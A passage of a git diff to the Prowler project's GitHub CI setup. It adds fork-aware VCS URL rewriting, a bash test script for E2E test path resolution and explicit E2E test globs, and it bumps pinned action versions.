diff --git a/.github/actions/setup-python-poetry/action.yml b/.github/actions/setup-python-poetry/action.yml index 62d01091d8..505ba86da6 100644 --- a/.github/actions/setup-python-poetry/action.yml +++ b/.github/actions/setup-python-poetry/action.yml @@ -26,10 +26,18 @@ runs: if: github.event_name == 'pull_request' && github.base_ref == 'master' && github.repository == 'prowler-cloud/prowler' shell: bash working-directory: ${{ inputs.working-directory }} + env: + HEAD_REPO: ${{ github.event.pull_request.head.repo.full_name }} run: | BRANCH_NAME="${GITHUB_HEAD_REF:-${GITHUB_REF_NAME}}" - echo "Using branch: $BRANCH_NAME" - sed -i "s|\(git+https://github.com/prowler-cloud/prowler[^@]*\)@master|\1@$BRANCH_NAME|g" pyproject.toml + UPSTREAM="prowler-cloud/prowler" + if [ "$HEAD_REPO" != "$UPSTREAM" ]; then + echo "Fork PR detected (${HEAD_REPO}), rewriting VCS URL to fork" + sed -i "s|git+https://github.com/prowler-cloud/prowler\([^@]*\)@master|git+https://github.com/${HEAD_REPO}\1@$BRANCH_NAME|g" pyproject.toml + else + echo "Same-repo PR, using branch: $BRANCH_NAME" + sed -i "s|\(git+https://github.com/prowler-cloud/prowler[^@]*\)@master|\1@$BRANCH_NAME|g" pyproject.toml + fi - name: Install poetry shell: bash diff --git a/.github/scripts/test-e2e-path-resolution.sh b/.github/scripts/test-e2e-path-resolution.sh new file mode 100755 index 0000000000..8aec6a46ac --- /dev/null +++ b/.github/scripts/test-e2e-path-resolution.sh @@ -0,0 +1,350 @@ +#!/usr/bin/env bash +# +# Test script for E2E test path resolution logic from ui-e2e-tests-v2.yml. +# Validates that the shell logic correctly transforms E2E_TEST_PATHS into +# Playwright-compatible paths. +# +# Usage: .github/scripts/test-e2e-path-resolution.sh + +set -euo pipefail + +# -- Colors ------------------------------------------------------------------ +RED='\033[0;31m' +GREEN='\033[0;32m' +BOLD='\033[1m' +RESET='\033[0m' + +# -- Counters ---------------------------------------------------------------- +TOTAL=0 +PASSED=0 +FAILED=0 + +# -- Temp directory setup & cleanup ------------------------------------------ +TMPDIR_ROOT="$(mktemp -d)" +trap 'rm -rf "$TMPDIR_ROOT"' EXIT + +# --------------------------------------------------------------------------- +# create_test_tree DIR [SUBDIRS_WITH_TESTS...] +# +# Creates a fake ui/tests/ tree inside DIR. +# All standard subdirs are created (empty). +# For each name in SUBDIRS_WITH_TESTS, a fake .spec.ts file is placed inside. +# --------------------------------------------------------------------------- +create_test_tree() { + local base="$1"; shift + local all_subdirs=( + auth home invitations profile providers scans + setups sign-in-base sign-up attack-paths findings + compliance browse manage-groups roles users overview + integrations + ) + + for d in "${all_subdirs[@]}"; do + mkdir -p "${base}/tests/${d}" + done + + # Populate requested subdirs with a fake test file + for d in "$@"; do + mkdir -p "${base}/tests/${d}" + touch "${base}/tests/${d}/example.spec.ts" + done +} + +# --------------------------------------------------------------------------- +# resolve_paths E2E_TEST_PATHS WORKING_DIR +# +# Extracted EXACT logic from .github/workflows/ui-e2e-tests-v2.yml lines 212-250. +# Outputs space-separated TEST_PATHS, or "SKIP" if no tests found. +# Must be run with WORKING_DIR as the cwd equivalent (we cd into it). +# --------------------------------------------------------------------------- +resolve_paths() { + local E2E_TEST_PATHS="$1" + local WORKING_DIR="$2" + + ( + cd "$WORKING_DIR" + + # --- Line 212-214: strip ui/ prefix, strip **, deduplicate --------------- + TEST_PATHS="${E2E_TEST_PATHS}" + TEST_PATHS=$(echo "$TEST_PATHS" | sed 's|ui/||g' | sed 's|\*\*||g' | tr ' ' '\n' | sort -u) + + # --- Line 216: drop setup helpers ---------------------------------------- + TEST_PATHS=$(echo "$TEST_PATHS" | grep -v '^tests/setups/' || true) + + # --- Lines 219-230: safety net for bare tests/ -------------------------- + if echo "$TEST_PATHS" | grep -qx 'tests/'; then + SPECIFIC_DIRS="" + for dir in tests/*/; do + [[ "$dir" == "tests/setups/" ]] && continue + SPECIFIC_DIRS="${SPECIFIC_DIRS}${dir}"$'\n' + done + TEST_PATHS=$(echo "$TEST_PATHS" | grep -vx 'tests/' || true) + TEST_PATHS="${TEST_PATHS}"$'\n'"${SPECIFIC_DIRS}" + TEST_PATHS=$(echo "$TEST_PATHS" | grep -v '^$' | sort -u) + fi + + # --- Lines 231-234: bail if empty ---------------------------------------- + if [[ -z "$TEST_PATHS" ]]; then + echo "SKIP" + return + fi + + # --- Lines 236-245: filter dirs with no test files ----------------------- + VALID_PATHS="" + while IFS= read -r p; do + [[ -z "$p" ]] && continue + if find "$p" -name '*.spec.ts' -o -name '*.test.ts' 2>/dev/null | head -1 | grep -q .; then + VALID_PATHS="${VALID_PATHS}${p}"$'\n' + fi + done <<< "$TEST_PATHS" + VALID_PATHS=$(echo "$VALID_PATHS" | grep -v '^$') + + # --- Lines 246-249: bail if all empty ------------------------------------ + if [[ -z "$VALID_PATHS" ]]; then + echo "SKIP" + return + fi + + # --- Line 250: final output (space-separated) --------------------------- + echo "$VALID_PATHS" | tr '\n' ' ' | sed 's/ $//' + ) +} + +# --------------------------------------------------------------------------- +# run_test NAME INPUT EXPECTED_TYPE [EXPECTED_VALUE] +# +# EXPECTED_TYPE is one of: +# "contains " — output must contain this path +# "equals " — output must exactly equal this value +# "skip" — expect SKIP (no runnable tests) +# "not_contains

" — output must NOT contain this path +# +# Multiple expectations can be specified by calling assert_* after run_test. +# For convenience, run_test supports a single assertion inline. +# --------------------------------------------------------------------------- +CURRENT_RESULT="" +CURRENT_TEST_NAME="" + +run_test() { + local name="$1" + local input="$2" + local expect_type="$3" + local expect_value="${4:-}" + + TOTAL=$((TOTAL + 1)) + CURRENT_TEST_NAME="$name" + + # Create a fresh temp tree per test + local test_dir="${TMPDIR_ROOT}/test_${TOTAL}" + mkdir -p "$test_dir" + + # Default populated dirs: scans, providers, auth, home, profile, sign-up, sign-in-base + create_test_tree "$test_dir" scans providers auth home profile sign-up sign-in-base + + CURRENT_RESULT=$(resolve_paths "$input" "$test_dir") + + _check "$expect_type" "$expect_value" +} + +# Like run_test but lets caller specify which subdirs have test files. +run_test_custom_tree() { + local name="$1" + local input="$2" + local expect_type="$3" + local expect_value="${4:-}" + shift 4 + local populated_dirs=("$@") + + TOTAL=$((TOTAL + 1)) + CURRENT_TEST_NAME="$name" + + local test_dir="${TMPDIR_ROOT}/test_${TOTAL}" + mkdir -p "$test_dir" + + create_test_tree "$test_dir" "${populated_dirs[@]}" + + CURRENT_RESULT=$(resolve_paths "$input" "$test_dir") + + _check "$expect_type" "$expect_value" +} + +_check() { + local expect_type="$1" + local expect_value="$2" + + case "$expect_type" in + skip) + if [[ "$CURRENT_RESULT" == "SKIP" ]]; then + _pass + else + _fail "expected SKIP, got: '$CURRENT_RESULT'" + fi + ;; + contains) + if [[ "$CURRENT_RESULT" == *"$expect_value"* ]]; then + _pass + else + _fail "expected to contain '$expect_value', got: '$CURRENT_RESULT'" + fi + ;; + not_contains) + if [[ "$CURRENT_RESULT" != *"$expect_value"* ]]; then + _pass + else + _fail "expected NOT to contain '$expect_value', got: '$CURRENT_RESULT'" + fi + ;; + equals) + if [[ "$CURRENT_RESULT" == "$expect_value" ]]; then + _pass + else + _fail "expected exactly '$expect_value', got: '$CURRENT_RESULT'" + fi + ;; + *) + _fail "unknown expect_type: $expect_type" + ;; + esac +} + +_pass() { + PASSED=$((PASSED + 1)) + printf '%b PASS%b %s\n' "$GREEN" "$RESET" "$CURRENT_TEST_NAME" +} + +_fail() { + FAILED=$((FAILED + 1)) + printf '%b FAIL%b %s\n' "$RED" "$RESET" "$CURRENT_TEST_NAME" + printf " %s\n" "$1" +} + +# =========================================================================== +# TEST CASES +# =========================================================================== + +echo "" +printf '%bE2E Path Resolution Tests%b\n' "$BOLD" "$RESET" +echo "==========================================" + +# 1. Normal single module +run_test \ + "1. Normal single module" \ + "ui/tests/scans/**" \ + "contains" "tests/scans/" + +# 2. Multiple modules +run_test \ + "2. Multiple modules — scans present" \ + "ui/tests/scans/** ui/tests/providers/**" \ + "contains" "tests/scans/" + +run_test \ + "2. Multiple modules — providers present" \ + "ui/tests/scans/** ui/tests/providers/**" \ + "contains" "tests/providers/" + +# 3. Broad pattern (many modules) +run_test \ + "3. Broad pattern — no bare tests/" \ + "ui/tests/auth/** ui/tests/scans/** ui/tests/providers/** ui/tests/home/** ui/tests/profile/**" \ + "not_contains" "tests/ " + +# 4. Empty directory +run_test \ + "4. Empty directory — skipped" \ + "ui/tests/attack-paths/**" \ + "skip" + +# 5. Mix of populated and empty dirs +run_test \ + "5. Mix populated+empty — scans present" \ + "ui/tests/scans/** ui/tests/attack-paths/**" \ + "contains" "tests/scans/" + +run_test \ + "5. Mix populated+empty — attack-paths absent" \ + "ui/tests/scans/** ui/tests/attack-paths/**" \ + "not_contains" "tests/attack-paths/" + +# 6. All empty directories +run_test \ + "6. All empty directories" \ + "ui/tests/attack-paths/** ui/tests/findings/**" \ + "skip" + +# 7. Setup paths filtered +run_test \ + "7. Setup paths filtered out" \ + "ui/tests/setups/**" \ + "skip" + +# 8. Bare tests/ from broad pattern — safety net expands +run_test \ + "8. Bare tests/ expands — scans present" \ + "ui/tests/**" \ + "contains" "tests/scans/" + +run_test \ + "8. Bare tests/ expands — setups excluded" \ + "ui/tests/**" \ + "not_contains" "tests/setups/" + +# 9. Bare tests/ with all empty subdirs (only setups has files) +run_test_custom_tree \ + "9. Bare tests/ — only setups has files" \ + "ui/tests/**" \ + "skip" "" \ + setups + +# 10. Duplicate paths +run_test \ + "10. Duplicate paths — deduplicated" \ + "ui/tests/scans/** ui/tests/scans/**" \ + "equals" "tests/scans/" + +# 11. Empty input +TOTAL=$((TOTAL + 1)) +CURRENT_TEST_NAME="11. Empty input" +test_dir="${TMPDIR_ROOT}/test_${TOTAL}" +mkdir -p "$test_dir" +create_test_tree "$test_dir" scans providers +CURRENT_RESULT=$(resolve_paths "" "$test_dir") +_check "skip" "" + +# 12. Trailing/leading whitespace +run_test \ + "12. Whitespace handling" \ + " ui/tests/scans/** " \ + "contains" "tests/scans/" + +# 13. Path without ui/ prefix +run_test \ + "13. Path without ui/ prefix" \ + "tests/scans/**" \ + "contains" "tests/scans/" + +# 14. Setup mixed with valid paths — only valid pass through +run_test \ + "14. Setups + valid — setups filtered" \ + "ui/tests/setups/** ui/tests/scans/**" \ + "contains" "tests/scans/" + +run_test \ + "14. Setups + valid — setups absent" \ + "ui/tests/setups/** ui/tests/scans/**" \ + "not_contains" "tests/setups/" + +# =========================================================================== +# SUMMARY +# =========================================================================== + +echo "" +echo "==========================================" +if [[ "$FAILED" -eq 0 ]]; then + printf '%b%bAll tests passed: %d/%d%b\n' "$GREEN" "$BOLD" "$PASSED" "$TOTAL" "$RESET" +else + printf '%b%b%d/%d passed, %d FAILED%b\n' "$RED" "$BOLD" "$PASSED" "$TOTAL" "$FAILED" "$RESET" +fi +echo "" + +exit "$FAILED" diff --git a/.github/test-impact.yml b/.github/test-impact.yml index 7322fb61a7..3fab82c80b 100644 --- a/.github/test-impact.yml +++ b/.github/test-impact.yml @@ -224,8 +224,24 @@ modules: tests: - api/src/backend/api/tests/test_views.py e2e: - # API view changes can break UI - - ui/tests/** + # All E2E test suites (explicit to avoid triggering auth setups in tests/setups/) + - ui/tests/auth/** + - ui/tests/sign-in/** + - ui/tests/sign-up/** + - ui/tests/sign-in-base/** + - ui/tests/scans/** + - ui/tests/providers/** + - ui/tests/findings/** + - ui/tests/compliance/** + - ui/tests/invitations/** + - ui/tests/roles/** + - ui/tests/users/** + - ui/tests/integrations/** + - ui/tests/resources/** + - ui/tests/profile/** + - ui/tests/lighthouse/** + - ui/tests/home/** + - ui/tests/attack-paths/** - name: api-serializers match: @@ -234,8 +250,24 @@ modules: tests: - api/src/backend/api/tests/** e2e: - # Serializer changes affect API responses → UI - - ui/tests/** + # All E2E test suites (explicit to avoid triggering auth setups in tests/setups/) + - ui/tests/auth/** + - ui/tests/sign-in/** + - ui/tests/sign-up/** + - ui/tests/sign-in-base/** + - ui/tests/scans/** + - ui/tests/providers/** + - ui/tests/findings/** + - ui/tests/compliance/** + - ui/tests/invitations/** + - ui/tests/roles/** + - ui/tests/users/** + - ui/tests/integrations/** + - ui/tests/resources/** + - ui/tests/profile/** + - ui/tests/lighthouse/** + - ui/tests/home/** + - ui/tests/attack-paths/** - name: api-filters match: @@ -407,8 +439,24 @@ modules: - ui/components/ui/** tests: [] e2e: - # Shared components can affect any E2E - - ui/tests/** + # All E2E test suites (explicit to avoid triggering auth setups in tests/setups/) + - ui/tests/auth/** + - ui/tests/sign-in/** + - ui/tests/sign-up/** + - ui/tests/sign-in-base/** + - ui/tests/scans/** + - ui/tests/providers/** + - ui/tests/findings/** + - ui/tests/compliance/** + - ui/tests/invitations/** + - ui/tests/roles/** + - ui/tests/users/** + - ui/tests/integrations/** + - ui/tests/resources/** + - ui/tests/profile/** + - ui/tests/lighthouse/** + - ui/tests/home/** + - ui/tests/attack-paths/** - name: ui-attack-paths match: diff --git a/.github/workflows/api-bump-version.yml b/.github/workflows/api-bump-version.yml index 720defc22d..ca6a7f7c24 100644 --- a/.github/workflows/api-bump-version.yml +++ b/.github/workflows/api-bump-version.yml @@ -28,7 +28,7 @@ jobs: current_api_version: ${{ steps.get_api_version.outputs.current_api_version }} steps: - name: Checkout repository - uses: actions/checkout@8e8c483db84b4bee98b60c0593521ed34d9990e8 # v6.0.1 + uses: actions/checkout@de0fac2e4500dabe0009e67214ff5f5447ce83dd # v6.0.2 with: persist-credentials: false @@ -80,7 +80,7 @@ jobs: pull-requests: write steps: - name: Checkout repository - uses: actions/checkout@8e8c483db84b4bee98b60c0593521ed34d9990e8 # v6.0.1 + uses: actions/checkout@de0fac2e4500dabe0009e67214ff5f5447ce83dd # v6.0.2 with: persist-credentials: false @@ -118,7 +118,7 @@ jobs: git --no-pager diff - name: Create PR for next API minor version to master - uses: peter-evans/create-pull-request@98357b18bf14b5342f975ff684046ec3b2a07725 # v8.0.0 + uses: peter-evans/create-pull-request@c0f553fe549906ede9cf27b5156039d195d2ece0 # v8.1.0 with: author: prowler-bot <179230569+prowler-bot@users.noreply.github.com> token: ${{ secrets.PROWLER_BOT_ACCESS_TOKEN }} @@ -137,7 +137,7 @@ jobs: By submitting this pull request, I confirm that my contribution is made under the terms of the Apache 2.0 license. - name: Checkout version branch - uses: actions/checkout@8e8c483db84b4bee98b60c0593521ed34d9990e8 # v6.0.1 + uses: actions/checkout@de0fac2e4500dabe0009e67214ff5f5447ce83dd # v6.0.2 with: ref: v${{ needs.detect-release-type.outputs.major_version }}.${{ needs.detect-release-type.outputs.minor_version }} persist-credentials: false @@ -177,7 +177,7 @@ jobs: git --no-pager diff - name: Create PR for first API patch version to version branch - uses: peter-evans/create-pull-request@98357b18bf14b5342f975ff684046ec3b2a07725 # v8.0.0 + uses: peter-evans/create-pull-request@c0f553fe549906ede9cf27b5156039d195d2ece0 # v8.1.0 with: author: prowler-bot <179230569+prowler-bot@users.noreply.github.com> token: ${{ secrets.PROWLER_BOT_ACCESS_TOKEN }} @@ -205,7 +205,7 @@ jobs: pull-requests: write steps: - name: Checkout repository - uses: actions/checkout@8e8c483db84b4bee98b60c0593521ed34d9990e8 # v6.0.1 + uses: actions/checkout@de0fac2e4500dabe0009e67214ff5f5447ce83dd # v6.0.2 with: persist-credentials: false @@ -255,7 +255,7 @@ jobs: git --no-pager diff - name: Create PR for next API patch version to version branch - uses: peter-evans/create-pull-request@98357b18bf14b5342f975ff684046ec3b2a07725 # v8.0.0 + uses: peter-evans/create-pull-request@c0f553fe549906ede9cf27b5156039d195d2ece0 # v8.1.0 with: author: prowler-bot <179230569+prowler-bot@users.noreply.github.com> token: ${{ secrets.PROWLER_BOT_ACCESS_TOKEN }} diff --git a/.github/workflows/api-code-quality.yml b/.github/workflows/api-code-quality.yml index 88f7d1bce0..73bebefd81 100644 --- a/.github/workflows/api-code-quality.yml +++ b/.github/workflows/api-code-quality.yml @@ -33,14 +33,14 @@ jobs: steps: - name: Checkout repository - uses: actions/checkout@8e8c483db84b4bee98b60c0593521ed34d9990e8 # v6.0.1 + uses: actions/checkout@de0fac2e4500dabe0009e67214ff5f5447ce83dd # v6.0.2 with: # zizmor: ignore[artipacked] persist-credentials: true # Required by tj-actions/changed-files to fetch PR branch - name: Check for API changes id: check-changes - uses: tj-actions/changed-files@e0021407031f5be11a464abee9a0776171c79891 # v47.0.1 + uses: tj-actions/changed-files@7dee1b0c1557f278e5c7dc244927139d78c0e22a # v47.0.4 with: files: | api/** diff --git a/.github/workflows/api-codeql.yml b/.github/workflows/api-codeql.yml index cb8c6f05ec..5e244979eb 100644 --- a/.github/workflows/api-codeql.yml +++ b/.github/workflows/api-codeql.yml @@ -42,17 +42,17 @@ jobs: steps: - name: Checkout repository - uses: actions/checkout@8e8c483db84b4bee98b60c0593521ed34d9990e8 # v6.0.1 + uses: actions/checkout@de0fac2e4500dabe0009e67214ff5f5447ce83dd # v6.0.2 with: persist-credentials: false - name: Initialize CodeQL - uses: github/codeql-action/init@5d4e8d1aca955e8d8589aabd499c5cae939e33c7 # v4.31.9 + uses: github/codeql-action/init@89a39a4e59826350b863aa6b6252a07ad50cf83e # v4.32.4 with: languages: ${{ matrix.language }} config-file: ./.github/codeql/api-codeql-config.yml - name: Perform CodeQL Analysis - uses: github/codeql-action/analyze@5d4e8d1aca955e8d8589aabd499c5cae939e33c7 # v4.31.9 + uses: github/codeql-action/analyze@89a39a4e59826350b863aa6b6252a07ad50cf83e # v4.32.4 with: category: '/language:${{ matrix.language }}' diff --git a/.github/workflows/api-container-build-push.yml b/.github/workflows/api-container-build-push.yml index e6c84fb124..69edd64e64 100644 --- a/.github/workflows/api-container-build-push.yml +++ b/.github/workflows/api-container-build-push.yml @@ -57,7 +57,7 @@ jobs: message-ts: ${{ steps.slack-notification.outputs.ts }} steps: - name: Checkout repository - uses: actions/checkout@8e8c483db84b4bee98b60c0593521ed34d9990e8 # v6.0.1 + uses: actions/checkout@de0fac2e4500dabe0009e67214ff5f5447ce83dd # v6.0.2 with: persist-credentials: false @@ -95,12 +95,12 @@ jobs: steps: - name: Checkout repository - uses: actions/checkout@8e8c483db84b4bee98b60c0593521ed34d9990e8 # v6.0.1 + uses: actions/checkout@de0fac2e4500dabe0009e67214ff5f5447ce83dd # v6.0.2 with: persist-credentials: false - name: Login to DockerHub - uses: docker/login-action@5e57cd118135c172c3672efd75eb46360885c0ef # v3.6.0 + uses: docker/login-action@c94ce9fb468520275223c153574b00df6fe4bcc9 # v3.7.0 with: username: ${{ secrets.DOCKERHUB_USERNAME }} password: ${{ secrets.DOCKERHUB_TOKEN }} @@ -111,7 +111,7 @@ jobs: - name: Build and push API container for ${{ matrix.arch }} id: container-push if: github.event_name == 'push' || github.event_name == 'release' || github.event_name == 'workflow_dispatch' - uses: docker/build-push-action@263435318d21b8e681c14492fe198d362a7d2c83 # v6.18.0 + uses: docker/build-push-action@10e90e3645eae34f1e60eeb005ba3a3d33f178e8 # v6.19.2 with: context: ${{ env.WORKING_DIRECTORY }} push: true @@ -129,7 +129,7 @@ jobs: steps: - name: Login to DockerHub - uses: docker/login-action@5e57cd118135c172c3672efd75eb46360885c0ef # v3.6.0 + uses: docker/login-action@c94ce9fb468520275223c153574b00df6fe4bcc9 # v3.7.0 with: username: ${{ secrets.DOCKERHUB_USERNAME }} password: ${{ secrets.DOCKERHUB_TOKEN }} @@ -161,7 +161,7 @@ jobs: - name: Install regctl if: always() - uses: regclient/actions/regctl-installer@f61d18f46c86af724a9c804cb9ff2a6fec741c7c # main + uses: regclient/actions/regctl-installer@da9319db8e44e8b062b3a147e1dfb2f574d41a03 # main - name: Cleanup intermediate architecture tags if: always() @@ -180,7 +180,7 @@ jobs: timeout-minutes: 5 steps: - name: Checkout repository - uses: actions/checkout@8e8c483db84b4bee98b60c0593521ed34d9990e8 # v6.0.1 + uses: actions/checkout@de0fac2e4500dabe0009e67214ff5f5447ce83dd # v6.0.2 with: persist-credentials: false diff --git a/.github/workflows/api-container-checks.yml b/.github/workflows/api-container-checks.yml index b516a25bfd..cdc472aaa9 100644 --- a/.github/workflows/api-container-checks.yml +++ b/.github/workflows/api-container-checks.yml @@ -28,14 +28,14 @@ jobs: steps: - name: Checkout repository - uses: actions/checkout@8e8c483db84b4bee98b60c0593521ed34d9990e8 # v6.0.1 + uses: actions/checkout@de0fac2e4500dabe0009e67214ff5f5447ce83dd # v6.0.2 with: # zizmor: ignore[artipacked] persist-credentials: true # Required by tj-actions/changed-files to fetch PR branch - name: Check if Dockerfile changed id: dockerfile-changed - uses: tj-actions/changed-files@e0021407031f5be11a464abee9a0776171c79891 # v47.0.1 + uses: tj-actions/changed-files@7dee1b0c1557f278e5c7dc244927139d78c0e22a # v47.0.4 with: files: api/Dockerfile @@ -66,14 +66,14 @@ jobs: steps: - name: Checkout repository - uses: actions/checkout@8e8c483db84b4bee98b60c0593521ed34d9990e8 # v6.0.1 + uses: actions/checkout@de0fac2e4500dabe0009e67214ff5f5447ce83dd # v6.0.2 with: # zizmor: ignore[artipacked] persist-credentials: true # Required by tj-actions/changed-files to fetch PR branch - name: Check for API changes id: check-changes - uses: tj-actions/changed-files@e0021407031f5be11a464abee9a0776171c79891 # v47.0.1 + uses: tj-actions/changed-files@7dee1b0c1557f278e5c7dc244927139d78c0e22a # v47.0.4 with: files: api/** files_ignore: | @@ -88,7 +88,7 @@ jobs: - name: Build container for ${{ matrix.arch }} if: steps.check-changes.outputs.any_changed == 'true' - uses: docker/build-push-action@263435318d21b8e681c14492fe198d362a7d2c83 # v6.18.0 + uses: docker/build-push-action@10e90e3645eae34f1e60eeb005ba3a3d33f178e8 # v6.19.2 with: context: ${{ env.API_WORKING_DIR }} push: false diff --git a/.github/workflows/api-security.yml b/.github/workflows/api-security.yml index 5814af4549..490d01c2b7 100644 --- a/.github/workflows/api-security.yml +++ b/.github/workflows/api-security.yml @@ -33,14 +33,14 @@ jobs: steps: - name: Checkout repository - uses: actions/checkout@8e8c483db84b4bee98b60c0593521ed34d9990e8 # v6.0.1 + uses: actions/checkout@de0fac2e4500dabe0009e67214ff5f5447ce83dd # v6.0.2 with: # zizmor: ignore[artipacked] persist-credentials: true # Required by tj-actions/changed-files to fetch PR branch - name: Check for API changes id: check-changes - uses: tj-actions/changed-files@e0021407031f5be11a464abee9a0776171c79891 # v47.0.1 + uses: tj-actions/changed-files@7dee1b0c1557f278e5c7dc244927139d78c0e22a # v47.0.4 with: files: | api/** @@ -64,8 +64,9 @@ jobs: - name: Safety if: steps.check-changes.outputs.any_changed == 'true' - run: poetry run safety check --ignore 79023,79027 + run: poetry run safety check --ignore 79023,79027,86217 # TODO: 79023 & 79027 knack ReDoS until `azure-cli-core` (via `cartography`) allows `knack` >=0.13.0 + # TODO: 86217 because `alibabacloud-tea-openapi == 0.4.3` don't let us upgrade `cryptography >= 46.0.0` - name: Vulture if: steps.check-changes.outputs.any_changed == 'true' diff --git a/.github/workflows/api-tests.yml b/.github/workflows/api-tests.yml index 4f4e814463..eedfc99de4 100644 --- a/.github/workflows/api-tests.yml +++ b/.github/workflows/api-tests.yml @@ -73,14 +73,14 @@ jobs: steps: - name: Checkout repository - uses: actions/checkout@8e8c483db84b4bee98b60c0593521ed34d9990e8 # v6.0.1 + uses: actions/checkout@de0fac2e4500dabe0009e67214ff5f5447ce83dd # v6.0.2 with: # zizmor: ignore[artipacked] persist-credentials: true # Required by tj-actions/changed-files to fetch PR branch - name: Check for API changes id: check-changes - uses: tj-actions/changed-files@e0021407031f5be11a464abee9a0776171c79891 # v47.0.1 + uses: tj-actions/changed-files@7dee1b0c1557f278e5c7dc244927139d78c0e22a # v47.0.4 with: files: | api/** diff --git a/.github/workflows/ci-zizmor.yml b/.github/workflows/ci-zizmor.yml index 1ffb6b00fa..9084b41b63 100644 --- a/.github/workflows/ci-zizmor.yml +++ b/.github/workflows/ci-zizmor.yml @@ -34,7 +34,7 @@ jobs: steps: - name: Checkout repository - uses: actions/checkout@8e8c483db84b4bee98b60c0593521ed34d9990e8 # v6.0.1 + uses: actions/checkout@de0fac2e4500dabe0009e67214ff5f5447ce83dd # v6.0.2 with: persist-credentials: false diff --git a/.github/workflows/docs-bump-version.yml b/.github/workflows/docs-bump-version.yml index 899abd0f0e..ca473dc3d7 100644 --- a/.github/workflows/docs-bump-version.yml +++ b/.github/workflows/docs-bump-version.yml @@ -28,7 +28,7 @@ jobs: current_docs_version: ${{ steps.get_docs_version.outputs.current_docs_version }} steps: - name: Checkout repository - uses: actions/checkout@8e8c483db84b4bee98b60c0593521ed34d9990e8 # v6.0.1 + uses: actions/checkout@de0fac2e4500dabe0009e67214ff5f5447ce83dd # v6.0.2 with: persist-credentials: false @@ -80,7 +80,7 @@ jobs: pull-requests: write steps: - name: Checkout repository - uses: actions/checkout@8e8c483db84b4bee98b60c0593521ed34d9990e8 # v6.0.1 + uses: actions/checkout@de0fac2e4500dabe0009e67214ff5f5447ce83dd # v6.0.2 with: persist-credentials: false @@ -114,7 +114,7 @@ jobs: git --no-pager diff - name: Create PR for documentation update to master - uses: peter-evans/create-pull-request@98357b18bf14b5342f975ff684046ec3b2a07725 # v8.0.0 + uses: peter-evans/create-pull-request@c0f553fe549906ede9cf27b5156039d195d2ece0 # v8.1.0 with: author: prowler-bot <179230569+prowler-bot@users.noreply.github.com> token: ${{ secrets.PROWLER_BOT_ACCESS_TOKEN }} @@ -137,7 +137,7 @@ jobs: By submitting this pull request, I confirm that my contribution is made under the terms of the Apache 2.0 license. - name: Checkout version branch - uses: actions/checkout@8e8c483db84b4bee98b60c0593521ed34d9990e8 # v6.0.1 + uses: actions/checkout@de0fac2e4500dabe0009e67214ff5f5447ce83dd # v6.0.2 with: ref: v${{ needs.detect-release-type.outputs.major_version }}.${{ needs.detect-release-type.outputs.minor_version }} persist-credentials: false @@ -174,7 +174,7 @@ jobs: git --no-pager diff - name: Create PR for documentation update to version branch - uses: peter-evans/create-pull-request@98357b18bf14b5342f975ff684046ec3b2a07725 # v8.0.0 + uses: peter-evans/create-pull-request@c0f553fe549906ede9cf27b5156039d195d2ece0 # v8.1.0 with: author: prowler-bot <179230569+prowler-bot@users.noreply.github.com> token: ${{ secrets.PROWLER_BOT_ACCESS_TOKEN }} @@ -205,7 +205,7 @@ jobs: pull-requests: write steps: - name: Checkout repository - uses: actions/checkout@8e8c483db84b4bee98b60c0593521ed34d9990e8 # v6.0.1 + uses: actions/checkout@de0fac2e4500dabe0009e67214ff5f5447ce83dd # v6.0.2 with: persist-credentials: false @@ -245,7 +245,7 @@ jobs: git --no-pager diff - name: Create PR for documentation update to version branch - uses: peter-evans/create-pull-request@98357b18bf14b5342f975ff684046ec3b2a07725 # v8.0.0 + uses: peter-evans/create-pull-request@c0f553fe549906ede9cf27b5156039d195d2ece0 # v8.1.0 with: author: prowler-bot <179230569+prowler-bot@users.noreply.github.com> token: ${{ secrets.PROWLER_BOT_ACCESS_TOKEN }} diff --git a/.github/workflows/find-secrets.yml b/.github/workflows/find-secrets.yml index 236765d069..9e1036825e 100644 --- a/.github/workflows/find-secrets.yml +++ b/.github/workflows/find-secrets.yml @@ -23,7 +23,7 @@ jobs: steps: - name: Checkout repository - uses: actions/checkout@8e8c483db84b4bee98b60c0593521ed34d9990e8 # v6.0.1 + uses: actions/checkout@de0fac2e4500dabe0009e67214ff5f5447ce83dd # v6.0.2 with: fetch-depth: 0 persist-credentials: false diff --git a/.github/workflows/mcp-container-build-push.yml b/.github/workflows/mcp-container-build-push.yml index f5a677400b..bdb3f3e73f 100644 --- a/.github/workflows/mcp-container-build-push.yml +++ b/.github/workflows/mcp-container-build-push.yml @@ -56,7 +56,7 @@ jobs: message-ts: ${{ steps.slack-notification.outputs.ts }} steps: - name: Checkout repository - uses: actions/checkout@8e8c483db84b4bee98b60c0593521ed34d9990e8 # v6.0.1 + uses: actions/checkout@de0fac2e4500dabe0009e67214ff5f5447ce83dd # v6.0.2 with: persist-credentials: false @@ -93,12 +93,12 @@ jobs: packages: write steps: - name: Checkout repository - uses: actions/checkout@8e8c483db84b4bee98b60c0593521ed34d9990e8 # v6.0.1 + uses: actions/checkout@de0fac2e4500dabe0009e67214ff5f5447ce83dd # v6.0.2 with: persist-credentials: false - name: Login to DockerHub - uses: docker/login-action@5e57cd118135c172c3672efd75eb46360885c0ef # v3.6.0 + uses: docker/login-action@c94ce9fb468520275223c153574b00df6fe4bcc9 # v3.7.0 with: username: ${{ secrets.DOCKERHUB_USERNAME }} password: ${{ secrets.DOCKERHUB_TOKEN }} @@ -109,7 +109,7 @@ jobs: - name: Build and push MCP container for ${{ matrix.arch }} id: container-push if: github.event_name == 'push' || github.event_name == 'release' || github.event_name == 'workflow_dispatch' - uses: docker/build-push-action@263435318d21b8e681c14492fe198d362a7d2c83 # v6.18.0 + uses: docker/build-push-action@10e90e3645eae34f1e60eeb005ba3a3d33f178e8 # v6.19.2 with: context: ${{ env.WORKING_DIRECTORY }} push: true @@ -135,7 +135,7 @@ jobs: steps: - name: Login to DockerHub - uses: docker/login-action@5e57cd118135c172c3672efd75eb46360885c0ef # v3.6.0 + uses: docker/login-action@c94ce9fb468520275223c153574b00df6fe4bcc9 # v3.7.0 with: username: ${{ secrets.DOCKERHUB_USERNAME }} password: ${{ secrets.DOCKERHUB_TOKEN }} @@ -186,7 +186,7 @@ jobs: timeout-minutes: 5 steps: - name: Checkout repository - uses: actions/checkout@8e8c483db84b4bee98b60c0593521ed34d9990e8 # v6.0.1 + uses: actions/checkout@de0fac2e4500dabe0009e67214ff5f5447ce83dd # v6.0.2 with: persist-credentials: false diff --git a/.github/workflows/mcp-container-checks.yml b/.github/workflows/mcp-container-checks.yml index bcd89fce09..a8606d2d68 100644 --- a/.github/workflows/mcp-container-checks.yml +++ 